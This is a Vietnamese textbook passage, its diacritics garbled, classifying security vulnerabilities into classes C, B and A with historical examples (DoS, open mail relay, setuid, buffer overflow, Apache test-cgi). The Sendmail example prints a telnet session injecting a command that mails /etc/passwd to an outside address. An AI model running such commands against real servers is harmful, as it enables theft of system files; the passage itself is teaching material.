Phõn loại lỗ hổng bảo mật:

Một phần của tài liệu Bảo mật dịch vụ hệ thống mạng máy tính (Trang 40)

Cú nhiều tổ chức khỏc nhau tiến hành phõn loại cỏc dạng lỗ hổng đặc biệt. Theo cỏch phõn loại của Bộ quốc phũng Mỹ, cỏc loại lỗ hổng bảo mật trờn một hệ thống đƣợc chia nhƣ sau:

Lỗ hổng loại C: Cỏc lỗ hổng loại này cho phộp thực hiện cỏc phƣơng thức tấn cụng theo DoS (Dinal of Services - Từ chối dịch vụ). Mức độ nguy hiểm thấp, chỉ ảnh hƣởng tới chất lƣợng dịch vụ, cú thể làm ngƣng trệ, giỏn đoạn hệ thống; khụng làm phỏ hỏng dữ liệu hoặc đạt đƣợc quyền truy nhập bất hợp phỏp.

Lổ hổng loại B: Cỏc lỗ hổng cho phộp ngƣời sử dụng cú thờm cỏc quyền trờn hệ thống mà khụng cần thực hiện kiểm tra tớnh hợp lệ. Mức độ nguy hiểm trung bỡnh; Những lỗ hổng này thƣờng cú trong cỏc ứng dụng trờn hệ thống; cú thể dẫn đến mất hoặc lộ thụng tin yờu cầu bảo mật.

Lỗ hổng loại A: Cỏc lỗ hổng này cho phộp ngƣời sử dụng ở ngoài cho thể truy nhập vào hệ thống bất hợp phỏp. Lỗ hổng rất nguy hiểm, cú thể làm phỏ hủy toàn bộ hệ thống.

Hỡnh 12 - Cỏc loại lỗ hổng bảo mật và mức độ ngƣy hiểm

Sau đõy sẽ phõn tớch một số lỗ hổng bảo mật thƣờng xuất hiện trờn mạng và hệ thống

Cỏc lỗ hổng loại C:

Cỏc lỗ hổng loại này cho phộp thực hiện cỏc cuộc tấn cụng DoS.

DoS là hỡnh thức tấn cụng sử dụng cỏc giao thức ở tầng Internet trong bộ giao thức TCP/IP để làm hệ thống ngƣng trệ dẫn đến tỡnh trạng từ chối ngƣời sử dụng hợp phỏp truy nhập hay sử dụng hệ thống. Một số lƣợng lớn cỏc gúi tin đƣợc gửi tới server trong khoảng thời gian liờn tục làm cho hệ thống trở nờn quỏ tải, kết quả là server đỏp ứng chậm hoặc khụng thể đỏp ứng cỏc yờu cầu từ client gửi tới.

Cỏc dịch vụ cú chứa đứng lỗ hổng cho phộp cỏc thực hiện cỏc cuộc tấn cụng DoS cú thể đƣợc nõng cấp hoặc sửa chữa bằng cỏc phiờn bản mới hơn của cỏc nhà cung cấp dịch vụ. Hiện nay, chƣa cú một giải phỏp toàn diện nào để khắc phục cỏc lỗ hổng loại này vỡ bản thõn việc thiết kế giao thức ở tầng Internet (IP) núi riờng và bộ giao thức TCP/IP đó chứa đựng những nguy cơ tiềm tàng của cỏc lỗ hổng này.

Một vớ dụ điển hỡnh của phƣơng thức tấn cụng DoS là vào một số Web Site lớn làm ngƣng trệ hoạt động của web site này: nhƣ www.ebay.com và www.yahoo.com

Tuy nhiờn, mức độ nguy hiểm của cỏc lỗ hổng loại này đƣợc xếp loại C; ớt nguy hiểm vỡ chỳng chỉ làm giỏn đoạn cung cấp dịch vụ của hệ thống trong một thời

gian mà khụng làm nguy hại đến dữ liệu và những kẻ tấn cụng cũng khụng đạt đƣợc quyền truy nhập bất hợp phỏp vào hệ thống.

Một lỗ hổng loại C khỏc cũng thƣờng thấy đú là cỏc điểm yếu của dịch vụ cho phộp thực hiện tấn cụng làm ngƣng trệ hệ thống của ngƣời sử dụng cuối; Chủ yếu với hỡnh thức tấn cụng này là sử dụng dịch vụ Web. Giả sử: trờn một Web Server cú những trang Web trong đú cú chứa cỏc đoạn mó Java hoặc JavaScripts, làm "treo" hệ thống của ngƣời sử dụng trỡnh duyệt Web của Netscape bằng cỏc bƣớc sau:

 Viết cỏc đoạn mó để nhận biết đƣợc Web Browers sử dụng Netscape.  Nếu sử dụng Netscape, sẽ tạo một vũng lặp vụ thời hạn, sinh ra vụ số cỏc

cửa sổ, trong mỗi cửa sổ đú nối đến cỏc Web Server khỏc nhau.

Với một hỡnh thức tấn cụng đơn giản này, cú thể làm treo hệ thống trong khoảng thời gian 40 giõy (đối với mỏy client cú 64 MB RAM). Đõy cựng là một hỡnh thức tấn cụng kiểu DoS. Ngƣời sử dụng trong trƣờng hợp này chỉ cú thể khởi động lại hệ thống.

Một lỗ hổng loại C khỏc cũng thƣờng gặp đối với cỏc hệ thống mail là khụng xõy dựng cỏc cơ chế anti-relay (chống relay) cho phộp thực hiện cỏc hành động spam mail. Nhƣ chỳng ta đó biết, cơ chế hoạt động của dịch vụ thƣ điện tử là lƣu và chuyển tiếp; một số hệ thống mail khụng cú cỏc xỏc thực khi ngƣời dựng gửi thƣ, dẫn đến tỡnh trạng cỏc đối tƣợng tấn cụng lợi dụng cỏc mỏy chủ mail này để thực hiện spam mail; Spam mail là hành động nhằm tờ liệt dịch vụ mail của hệ thống bằng cỏch gửi một số lƣợng lớn cỏc messages tới một địa chỉ khụng xỏc định, vỡ mỏy chủ mail luụn phải tốn năng lực đi tỡm những địa chỉ khụng cú thực dẫn đến tỡnh trạng ngƣng trệ dịch vụ. Số lƣợng cỏc messages cú thể sinh ra từ cỏc chƣơng trỡnh làm bom thƣ rất phổ biến trờn mạng Internet.

Cỏc lỗ hổng loại B:

Lỗ hổng loại này cú mức độ nguy hiểm hơn lỗ hổng loại C, cho phộp ngƣời sử dụng nội bộ cú thể chiếm đƣợc quyền cao hơn hoặc truy nhập khụng hợp phỏp.

Vớ dụ trờn hỡnh 12, lỗ hổng loại B cú thể cú đối với một hệ thống UNIX mà file /etc/passwd để ở dạng plaintext; khụng sử dụng cơ chế che mật khẩu trong

Những lỗ hổng loại này thƣờng xuất hiện trong cỏc dịch vụ trờn hệ thống. Ngƣời sử dụng local đƣợc hiểu là ngƣời đó cú quyền truy nhập vào hệ thống với một số quyền hạn nhất định.

Sau đõy sẽ phõn tớch một số lỗ hổng loại B thƣờng xuất hiện trong cỏc ứng dụng

Sendmail:

Sendmail là một chƣơng trỡnh đƣợc sử dụng rất phổ biến trờn hệ thống UNIX để thực hiện gửi thƣ điện tử cho những ngƣời sử dụng trong nội bộ mạng. Thụng thƣờng, sendmail là một daemon chạy ở chế độ nền đƣợc kớch hoạt khi khởi động hệ thống. Trong trạng thỏi, hoạt động, sendmail mở port 25 đợi một yờu cầu tới sẽ thực hiện gửi hoặc chuyển tiếp thƣ.

Sendmail khi đƣợc kớch hoạt sẽ chạy dƣới quyền root hoặc quyền tƣơng ứng (vỡ liờn quan đến cỏc hành động tạo file và ghi log file). Lợi dụng đặc điểm này và một số lỗ hổng trong cỏc đoạn mó của sendmail, mà cỏc đối tƣợng tấn cụng cú thể dựng sendmail để đạt đƣợc quyền root trờn hệ thống. Vớ dụ một lỗi của sendmail:

1. telnet victim.com 25 2. Trying 128.128.128.1 3. Connected to victim.com 4. Escape character is '^]'.

5. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 6. Mail from: "|/bin/mail zen@ecil.com < /etc/passwd"

7. 250 "|/bin/mail zen@ecil.com < /etc/passwd" sender OK 8. Rcpt to: nosuchuser

9. 550 nosuchuser: User unknow 10. Data

11. 354 Enter mail, end with "." on a line by itself 12. . (adsbygoogle = window.adsbygoogle || []).push({});

13. 250 Mail accepted 14. Quit

15. Connection closed by foreign host. 16. $

Trong vớ dụ trờn, ngƣời sử dụng thụng thƣờng cú thể đọc đƣợc nội dung của file /etc/passwd sau đú gửi mail đến địa chỉ zen@ecil.com. Vỡ sendmail hoạt động dƣới quyền root nờn nú cú thể đọc đƣợc nội dung file /etc/passwd; mặt khỏc lợi dụng lỗ hổng bảo mật của sendmail vẫn bật chế độ debug cho phộp mở một file handle /bin/mail để gửi mail tới địa chỉ zen@ecil.com

Để khắc phục lỗi của sendmail cần tham gia cỏc nhúm tin về bảo mật; vỡ sendmail là chƣơng trỡnh cú khỏ nhiều lỗi; nhƣng cũng cú nhiều ngƣời sử dụng nờn cỏc lỗ hổng bảo mật thƣờng đƣợc phỏt hiện và khắc phục nhanh chúng. Khi phỏt hiện lỗ hổng trong sendmail cần nõng cấp, thay thế phiờn bản sendmail đang sử dụng.

Một loại cỏc vấn đề khỏc về quyền sử dụng chƣơng trỡnh trờn UNIX cũng thƣơng gõy nờn cỏc lỗ hổng loại B. Vỡ trờn hệ thống UNIX, một chƣơng trỡnh cú thể đƣợc thực thi với 2 khả năng:

Ngƣời chủ sở hữu chƣơng trỡnh đú kớch hoạt chạy

Ngƣời mang quyền của ngƣời chủ sở hữu chủ nhõn của file đú

Cú thể thực hiện đƣợc cơ chế thứ hai thụng qua việc setgid và setuid. Vớ dụ, sendmail và một loạt cỏc chƣơng trỡnh khỏc cần phải set ở chế độ này (vỡ ngƣời sử dụng thụng thƣờng vẫn phải chạy sendmail, nhƣng khi sendmail chạy thỡ nú phải cú quyền root), cụ thể nhƣ sau:

-rwsr-xr-- root root sendmail

Nhƣ vậy ngƣời dựng kớch hoạt sendmail chạy thỡ nú sẽ mang quyền root vỡ do đó set bit s ở phần ngƣời sở hữu chƣơng trỡnh sendmail.

Điều này sẽ rất nguy hiểm nếu nhƣ cỏc chƣơng trỡnh shell nhƣ (bin/sh, usr/bin/csh...) đƣợc set cỏc bits ở quyền root vỡ khi đú ngƣời sử dụng login vào hệ thống sẽ cú quyền nhƣ quyền root đối với mọi file trờn hệ thống.

Lý do phải sinh ra cơ chế này là do chỉ cú root mới cú quyền làm việc với cỏc file device.

Cỏc loại lỗ hổng loại B khỏc:

- là một vựng trong bộ nhớ sử dụng để lƣu dữ liệu trƣớc khi xử lý. Những ngƣời lập trỡnh thƣờng sử dụng vựng đệm trong bộ nhớ trƣớc khi gỏn một khoảng khụng gian bộ nhớ cho từng khối dữ liệu. Vớ dụ, ngƣời sử dụng viết chƣơng trỡnh nhập trƣờng tờn ngƣời sử dụng; qui định trƣờng này dài 20 ký tự. Do đú họ sẽ khai bỏo:

char first_name [20];

Với khai bỏo này, cho phộp ngƣời sử dụng nhập vào tối đa 20 ký tự. Khi nhập dữ liệu, trƣớc tiờn dữ liệu đƣợc lƣu ở vựng đệm; nếu ngƣời sử dụng nhập vào 35 ký tự; sẽ xảy ra hiện tƣợng tràn vựng đệm và kết quả 15 ký tự dƣ thừa sẽ nằm ở một vị trớ khụng kiểm soỏt đƣợc trong bộ nhớ. Đối với những kẻ tấn cụng, cú thể lợi dụng lỗ hổng này để nhập vào những ký tự đặc biệt, để thực thi một số lệnh đặc biệt trờn hệ thống. Thụng thƣờng, lỗ hổng này thƣờng đƣợc lợi dụng bởi những ngƣời sử dụng trờn hệ thống để đạt đƣợc quyền root khụng hợp lệ.

Việc kiểm soỏt chặt chẽ cấu hỡnh hệ thống và cỏc chƣơng trỡnh sẽ hạn chế đƣợc cỏc lỗ hổng loại B.

Cỏc lỗ hổng loại A:

Cỏc lỗ hổng loại A cú mức độ rất nguy hiểm; đe dọa tớnh toàn vẹn và bảo mật của hệ thống. Cỏc lỗ hổng loại này thƣờng xuất hiện ở những hệ thống quản trị yếu kộm hoặc khụng kiểm soỏt đƣợc cấu hỡnh mạng.

Một vớ dụ thƣờng thấy là trờn nhiều hệ thống sử dụng Web Server là Apache, Đối với Web Server này thƣờng cấu hỡnh thƣ much mặc định để chạy cỏc scripts là cgi-bin; trong đú cú một Scripts đƣợc viết sẵn để thử hoạt động của apache là test- cgi. Đối với cỏc phiờn bản cũ của Apache (trƣớc version 1.1), cú dũng sau trong file test-cgi:

echo QUERY_STRING = $QUERY_STRING

Biến mụi trƣờng QUERY_STRING do khụng đƣợc đặt trong cú dấu " (quote) nờn khi phớa client thƣc hiện một yờu cầu trong đú chuỗi ký tự gửi đến gồm một số ký tự đặc biệt; vớ dụ ký tự "*", web server sẽ trả về nội dung của toàn bộ thƣ mục hiện thời (là cỏc thƣ mục chứa cỏc scipts cgi). Ngƣời sử dụng cú thể nhỡn thấy toàn bộ nội dung cỏc file trong thƣ mục hiện thời trờn hệ thống server.

Một vớ dụ khỏc cũng xảy ra tƣơng tự đối với cỏc Web server chạy trờn hệ điều hành Novell; Cỏc web server này cú một scripts là convert.bas, chạy scripts này cho phộp đọc toàn bộ nội dung cỏc files trờn hệ thống.

Những lỗ hổng loại này hết sức nguy hiểm vỡ nú đó tồn tại sẵn cú trờn phần mềm sử dụng; ngƣời quản trị nếu khụng hiểu sõu về dịch vụ và phần mềm sử dụng sẽ cú thể bỏ qua những điểm yếu này.

Đối với những hệ thống cũ, thƣờng xuyờn phải kiểm tra cỏc thụng bỏo của cỏc nhúm tin về bảo mật trờn mạng để phỏt hiện những lỗ hổng loại này. Một loạt cỏc chƣơng trỡnh phiờn bản cũ thƣờng sử dụng cú những lỗ hổng loại A nhƣ: FTP, Gopher, Telnet, Sendmail, ARP, finger...

Một phần của tài liệu Bảo mật dịch vụ hệ thống mạng máy tính (Trang 40)